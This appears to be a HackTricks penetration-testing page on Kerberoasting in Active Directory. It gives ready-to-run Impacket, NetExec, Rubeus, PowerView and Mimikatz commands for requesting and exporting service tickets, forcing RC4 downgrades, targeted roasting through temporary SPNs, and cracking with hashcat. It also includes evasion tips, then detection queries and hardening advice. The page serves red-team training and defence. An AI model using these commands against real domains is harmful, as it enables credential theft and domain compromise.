kerberoast.md (15294B)
1 --- 2 title: "Kerberoast" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/active-directory-methodology/kerberoast.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/kerberoast.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Kerberoast 14 15 ## Kerberoast 16 17 Kerberoasting focuses on the acquisition of TGS tickets, specifically those related to services operating under user accounts in Active Directory (AD), excluding computer accounts. The encryption of these tickets utilizes keys that originate from user passwords, allowing for offline credential cracking. The use of a user account as a service is indicated by a non-empty ServicePrincipalName (SPN) property. 18 19 Any authenticated domain user can request TGS tickets, so no special privileges are needed.<sup>[[4]](#references)[[5]](#references)</sup> 20 21 ### Key Points 22 23 - Targets TGS tickets for services that run under user accounts (i.e., accounts with SPN set; not computer accounts). 24 - Tickets are encrypted with a key derived from the service account’s password and can be cracked offline. 25 - No elevated privileges required; any authenticated account can request TGS tickets. 26 27 > [!WARNING] 28 > Most public tools prefer requesting RC4-HMAC (etype 23) service tickets because they’re faster to crack than AES. RC4 TGS hashes start with `$krb5tgs$23$*`, AES128 with `$krb5tgs$17$*`, and AES256 with `$krb5tgs$18$*`. However, many environments are moving to AES-only. Do not assume only RC4 is relevant. 29 > Also, avoid “spray-and-pray” roasting. Rubeus’ default kerberoast can query and request tickets for all SPNs and is noisy. Enumerate and target interesting principals first. 30 31 ### Service account secrets & Kerberos crypto cost 32 33 Many services still run under user accounts with hand-managed passwords. The KDC encrypts service tickets with keys derived from those passwords and hands the ciphertext to any authenticated principal, so kerberoasting gives unlimited offline guesses without lockouts or DC telemetry. The encryption mode determines the cracking budget: 34 35 | Mode | Key derivation | Encryption type | Approx. RTX 5090 throughput* | Notes | 36 | --- | --- | --- | --- | --- | 37 | AES + PBKDF2 | PBKDF2-HMAC-SHA1 with 4,096 iterations and a per-principal salt generated from the domain + SPN | etype 17/18 (`$krb5tgs$17$`, `$krb5tgs$18$`) | ~6.8 million guesses/s | Salt blocks rainbow tables but still allows fast cracking of short passwords. | 38 | RC4 + NT hash | Single MD4 of the password (unsalted NT hash); Kerberos only mixes in an 8-byte confounder per ticket | etype 23 (`$krb5tgs$23$`) | ~4.18 **billion** guesses/s | ~1000× faster than AES; attackers force RC4 whenever `msDS-SupportedEncryptionTypes` permits it. | 39 40 *Benchmarks from Chick3nman as cited in [Matthew Green's Kerberoasting analysis](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/).<sup>[[3]](#references)</sup> 41 42 RC4’s confounder only randomizes the keystream; it does not add work per guess. Unless service accounts rely on random secrets (gMSA/dMSA, machine accounts, or vault-managed strings), compromise speed is purely GPU budget. Enforcing AES-only etypes removes the billion-guesses-per-second downgrade, but weak human passwords still fall to PBKDF2.<sup>[[3]](#references)</sup> 43 44 ### Attack 45 46 #### Linux 47 48 A practical end-to-end example using NetExec to request roastable tickets and Hashcat to crack them is available in reference [1].<sup>[[1]](#references)</sup> 49 50 ```bash 51 # Metasploit Framework 52 msf> use auxiliary/gather/get_user_spns 53 54 # Impacket — request and save roastable hashes (prompts for password) 55 GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER> -outputfile hashes.kerberoast 56 # With NT hash 57 GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USER> -outputfile hashes.kerberoast 58 # Target a specific user’s SPNs only (reduce noise) 59 GetUserSPNs.py -request-user <samAccountName> -dc-ip <DC_IP> <DOMAIN>/<USER> 60 61 # NetExec — LDAP enumerate + dump $krb5tgs$23/$17/$18 blobs with metadata 62 netexec ldap <DC_FQDN> -u <USER> -p <PASS> --kerberoast kerberoast.hashes 63 64 # kerberoast by @skelsec (enumerate and roast) 65 # 1) Enumerate kerberoastable users via LDAP 66 kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -o kerberoastable 67 # 2) Request TGS for selected SPNs and dump 68 kerberoast spnroast 'kerberos+password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes 69 ``` 70 71 Multi-feature tools including kerberoast checks: 72 73 ```bash 74 # ADenum: https://github.com/SecuProject/ADenum 75 adenum -d <DOMAIN> -ip <DC_IP> -u <USER> -p <PASS> -c 76 ``` 77 78 #### Windows 79 80 - Enumerate kerberoastable users 81 82 ```powershell 83 # Built-in 84 setspn.exe -Q */* # Focus on entries where the backing object is a user, not a computer ($) 85 86 # PowerView 87 Get-NetUser -SPN | Select-Object serviceprincipalname 88 89 # Rubeus stats (AES/RC4 coverage, pwd-last-set years, etc.) 90 .\Rubeus.exe kerberoast /stats 91 ``` 92 93 - Technique 1: Ask for TGS and dump from memory 94 95 ```powershell 96 # Acquire a single service ticket in memory for a known SPN 97 Add-Type -AssemblyName System.IdentityModel 98 New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>" # e.g. MSSQLSvc/mgmt.domain.local 99 100 # Get all cached Kerberos tickets 101 klist 102 103 # Export tickets from LSASS (requires admin) 104 Invoke-Mimikatz -Command '"kerberos::list /export"' 105 106 # Convert to cracking formats 107 python2.7 kirbi2john.py .\some_service.kirbi > tgs.john 108 # Optional: convert john -> hashcat etype23 if needed 109 sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$*\1*$\2/' tgs.john > tgs.hashcat 110 ``` 111 112 - Technique 2: Automatic tools 113 114 ```powershell 115 # PowerView — single SPN to hashcat format 116 Request-SPNTicket -SPN "<SPN>" -Format Hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast 117 # PowerView — all user SPNs -> CSV 118 Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation 119 120 # Rubeus — default kerberoast (be careful, can be noisy) 121 .\Rubeus.exe kerberoast /outfile:hashes.kerberoast 122 # Rubeus — target a single account 123 .\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast 124 # Rubeus — target admins only 125 .\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap 126 ``` 127 128 > [!WARNING] 129 > A TGS request generates Windows Security Event 4769 (A Kerberos service ticket was requested). 130 131 ### OPSEC and AES-only environments 132 133 - Request RC4 on purpose for accounts without AES: 134 - Rubeus: `/rc4opsec` uses tgtdeleg to enumerate accounts without AES and requests RC4 service tickets. 135 - Rubeus: `/tgtdeleg` with kerberoast also triggers RC4 requests where possible.<sup>[[6]](#references)</sup> 136 - Roast AES-only accounts instead of failing silently: 137 - Rubeus: `/aes` enumerates accounts with AES enabled and requests AES service tickets (etype 17/18). 138 - If you already hold a TGT (PTT or from a .kirbi), you can use `/ticket:<blob|path>` with `/spn:<SPN>` or `/spns:<file>` and skip LDAP. 139 - Targeting, throttling and less noise: 140 - Use `/user:<sam>`, `/spn:<spn>`, `/resultlimit:<N>`, `/delay:<ms>` and `/jitter:<1-100>`. 141 - Filter for likely weak passwords using `/pwdsetbefore:<MM-dd-yyyy>` (older passwords) or target privileged OUs with `/ou:<DN>`.<sup>[[8]](#references)</sup> 142 143 Examples (Rubeus): 144 145 ```powershell 146 # Kerberoast only AES-enabled accounts 147 .\Rubeus.exe kerberoast /aes /outfile:hashes.aes 148 # Request RC4 for accounts without AES (downgrade via tgtdeleg) 149 .\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.rc4 150 # Roast a specific SPN with an existing TGT from a non-domain-joined host 151 .\Rubeus.exe kerberoast /ticket:C:\\temp\\tgt.kirbi /spn:MSSQLSvc/sql01.domain.local 152 ``` 153 154 ### Cracking 155 156 ```bash 157 # John the Ripper 158 john --format=krb5tgs --wordlist=wordlist.txt hashes.kerberoast 159 160 # Hashcat 161 # RC4-HMAC (etype 23) 162 hashcat -m 13100 -a 0 hashes.rc4 wordlist.txt 163 # AES128-CTS-HMAC-SHA1-96 (etype 17) 164 hashcat -m 19600 -a 0 hashes.aes128 wordlist.txt 165 # AES256-CTS-HMAC-SHA1-96 (etype 18) 166 hashcat -m 19700 -a 0 hashes.aes256 wordlist.txt 167 ``` 168 169 ### Persistence / Abuse 170 171 If you control or can modify an account, you can make it kerberoastable by adding an SPN: 172 173 ```powershell 174 Set-DomainObject -Identity <username> -Set @{serviceprincipalname='fake/WhateverUn1Que'} -Verbose 175 ``` 176 177 Downgrade an account to enable RC4 for easier cracking (requires write privileges on the target object): 178 179 ```powershell 180 # Allow only RC4 (value 4) — very noisy/risky from a blue-team perspective 181 Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=4} 182 # Mixed RC4+AES (value 28) 183 Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=28} 184 ``` 185 186 #### Targeted Kerberoast via GenericWrite/GenericAll over a user (temporary SPN) 187 188 When BloodHound shows that you have control over a user object (e.g., GenericWrite/GenericAll), you can reliably “targeted-roast” that specific user even if they do not currently have any SPNs:<sup>[[9]](#references)</sup> 189 190 - Add a temporary SPN to the controlled user to make it roastable. 191 - Request a TGS-REP encrypted with RC4 (etype 23) for that SPN to favor cracking. 192 - Crack the `$krb5tgs$23$...` hash with hashcat. 193 - Clean up the SPN to reduce footprint. 194 195 Windows (PowerView/Rubeus): 196 197 ```powershell 198 # Add temporary SPN on the target user 199 Set-DomainObject -Identity <targetUser> -Set @{serviceprincipalname='fake/TempSvc-<rand>'} -Verbose 200 201 # Request RC4 TGS for that user (single target) 202 .\Rubeus.exe kerberoast /user:<targetUser> /nowrap /rc4 203 204 # Remove SPN afterwards 205 Set-DomainObject -Identity <targetUser> -Clear serviceprincipalname -Verbose 206 ``` 207 208 Linux one-liner (targetedKerberoast.py automates add SPN -> request TGS (etype 23) -> remove SPN):<sup>[[2]](#references)</sup> 209 210 ```bash 211 targetedKerberoast.py -d '<DOMAIN>' -u <WRITER_SAM> -p '<WRITER_PASS>' 212 ``` 213 214 Crack the output with hashcat autodetect (mode 13100 for `$krb5tgs$23$`): 215 216 ```bash 217 hashcat <outfile>.hash /path/to/rockyou.txt 218 ``` 219 220 Detection notes: adding/removing SPNs produces directory changes (Event ID 5136/4738 on the target user) and the TGS request generates Event ID 4769. Consider throttling and prompt cleanup. 221 222 You can find useful tools for kerberoast attacks here: https://github.com/nidem/kerberoast 223 224 If you find this error from Linux: `Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great)` it’s due to local time skew. Sync to the DC: 225 226 - `ntpdate <DC_IP>` (deprecated on some distros) 227 - `rdate -n <DC_IP>` 228 229 ### Kerberoast without a domain account (AS-requested STs) 230 231 In September 2022, Charlie Clark showed that if a principal does not require pre-authentication, it’s possible to obtain a service ticket via a crafted KRB_AS_REQ by altering the sname in the request body, effectively getting a service ticket instead of a TGT. This mirrors AS-REP roasting and does not require valid domain credentials. 232 233 See details: Semperis write-up “New Attack Paths: AS-requested STs”.<sup>[[10]](#references)</sup> 234 235 > [!WARNING] 236 > You must provide a list of users because without valid credentials you cannot query LDAP with this technique. 237 238 Linux 239 240 - Impacket (PR #1413): 241 242 ```bash 243 GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile users.txt -dc-host dc.domain.local domain.local/ 244 ``` 245 246 Windows 247 248 - Rubeus (PR #139): 249 250 ```powershell 251 Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:domain.local /dc:dc.domain.local /nopreauth:NO_PREAUTH_USER /spn:TARGET_SERVICE 252 ``` 253 254 Related 255 256 If you are targeting AS-REP roastable users, see also: 257 258 [Asreproast](/hacktricks/windows-hardening/active-directory-methodology/asreproast) 259 260 ### Detection 261 262 Kerberoasting can be stealthy. Hunt for Event ID 4769 from DCs and apply filters to reduce noise: 263 264 - Exclude service name `krbtgt` and service names ending with `$` (computer accounts). 265 - Exclude requests from machine accounts (`*$$@*`). 266 - Only successful requests (Failure Code `0x0`). 267 - Track encryption types: RC4 (`0x17`), AES128 (`0x11`), AES256 (`0x12`). Don’t alert only on `0x17`. 268 269 Example PowerShell triage: 270 271 ```powershell 272 Get-WinEvent -FilterHashtable @{Logname='Security'; ID=4769} -MaxEvents 1000 | 273 Where-Object { 274 ($_.Message -notmatch 'krbtgt') -and 275 ($_.Message -notmatch '\$$') -and 276 ($_.Message -match 'Failure Code:\s+0x0') -and 277 ($_.Message -match 'Ticket Encryption Type:\s+(0x17|0x12|0x11)') -and 278 ($_.Message -notmatch '\$@') 279 } | 280 Select-Object -ExpandProperty Message 281 ``` 282 283 Additional ideas: 284 285 - Baseline normal SPN usage per host/user; alert on large bursts of distinct SPN requests from a single principal. 286 - Flag unusual RC4 usage in AES-hardened domains. 287 288 ### Mitigation / Hardening 289 290 - Use gMSA/dMSA or machine accounts for services. Managed accounts have 120+ character random passwords and rotate automatically, making offline cracking impractical.<sup>[[7]](#references)</sup> 291 - Enforce AES on service accounts by setting `msDS-SupportedEncryptionTypes` to AES-only (decimal 24 / hex 0x18) and then rotating the password so AES keys are derived.<sup>[[7]](#references)</sup> 292 - Where possible, disable RC4 in your environment and monitor for attempted RC4 usage. On DCs you can use the `DefaultDomainSupportedEncTypes` registry value to steer defaults for accounts without `msDS-SupportedEncryptionTypes` set. Test thoroughly. 293 - Remove unnecessary SPNs from user accounts.<sup>[[7]](#references)</sup> 294 - Use long, random service account passwords (25+ chars) if managed accounts are not feasible; ban common passwords and audit regularly.<sup>[[7]](#references)</sup> 295 296 ## References 297 298 - [1] [HTB: Breach – NetExec LDAP kerberoast + hashcat cracking in practice](https://0xdf.gitlab.io/2026/02/10/htb-breach.html) 299 - [2] [ShutdownRepo/targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast) 300 - [3] [Matthew Green – Kerberoasting: Low-Tech, High-Impact Attacks from Legacy Kerberos Crypto (2025-09-10)](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/) 301 - [4] [Kerberos (II): How to attack Kerberos?](https://www.tarlogic.com/blog/how-to-attack-kerberos/) 302 - [5] [ired.team – Active Directory Kerberos Abuse: T1208 Kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting) 303 - [6] [ired.team – Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled) 304 - [7] [Microsoft Security Blog (2024-10-11) – Microsoft’s guidance to help mitigate Kerberoasting](https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/) 305 - [8] [SpecterOps – Rubeus kerberoast command documentation](https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/roasting/kerberoast) 306 - [9] [HTB: Delegate — SYSVOL creds → Targeted Kerberoast → Unconstrained Delegation → DCSync to DA](https://0xdf.gitlab.io/2025/09/12/htb-delegate.html) 307 - [10] [Semperis – New Attack Paths? AS Requested Service Tickets (Charlie Clark, Sept 2022)](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/)